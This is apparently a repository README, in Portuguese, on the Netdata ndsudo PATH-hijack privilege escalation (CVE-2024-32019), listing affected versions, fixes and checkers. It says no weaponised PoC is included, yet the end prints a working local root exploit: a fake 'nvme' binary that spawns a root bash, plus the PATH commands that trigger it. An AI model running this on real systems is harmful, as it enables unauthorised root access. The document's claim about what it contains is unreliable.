
ndsudoO auxiliar ndsudo do Netdata (instalado como setuid root) restringe quais comandos ele executará, mas resolve esses comandos usando o PATH do chamador. Em versões afetadas, um usuário local pode colocar um binário malicioso em uma posição anterior no PATH e fazer com que o ndsudo o execute com privilégios de root. Corrigido no Netdata 1.45.3 e 1.45.0-169.
Afetadas: >= 1.44.0-60, < 1.45.0-169 e >= 1.45.0, < 1.45.3 (de acordo com o aviso upstream).
Corrigidas: 1.45.3 (estável), 1.45.0-169 (nightly). GitHub
Escalação de privilégio local para root em sistemas onde o ndsudo está instalado como SUID e o usuário pode invocá-lo (comumente membros do grupo netdata). NVDGitHub
O ndsudo é SUID-root e tem uma lista de permissões de subcomandos como nvme-list, nvme-smart-log, etc.
Ele chama executáveis externos pelo nome (ex.: nvme), que são resolvidos via PATH em vez de usar caminhos absolutos ou uma busca segura e fixa.
Se um diretório gravável aparecer antes dos caminhos do sistema, um atacante pode introduzir um binário falso que será executado como root. GitHub
Este repositório inclui verificadores não exploit que:
Inspecionam /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (ou onde estiver instalado) quanto a SUID/propriedade.
Verificam o PATH em busca de diretórios graváveis anteriores aos caminhos comuns do sistema.
Confirmam a presença de nomes de subcomandos permitidos que o ndsudo possa tentar executar.
Opcionalmente executam ndsudo --test <subcommand> para imprimir o comando resolvido sem executá-lo (use com cuidado, leia o código antes). GitHub
⚠️ Nenhum PoC armamentizado está incluído. Este projeto destina-se a defensores e pesquisadores para avaliar a exposição e validar correções de forma responsável.
Atualize o Netdata para 1.45.3 (estável) ou 1.45.0-169 (nightly).
Como medida de defesa em profundidade, prefira caminhos absolutos ou um PATH mínimo saneado em auxiliares SUID; evite conceder acesso desnecessário ao ndsudo. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Aviso do Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Resumo da Wiz. wiz.io
Artigo da Snyk. Guia de Vulnerabilidade
Listagem MITRE/CVE. CVE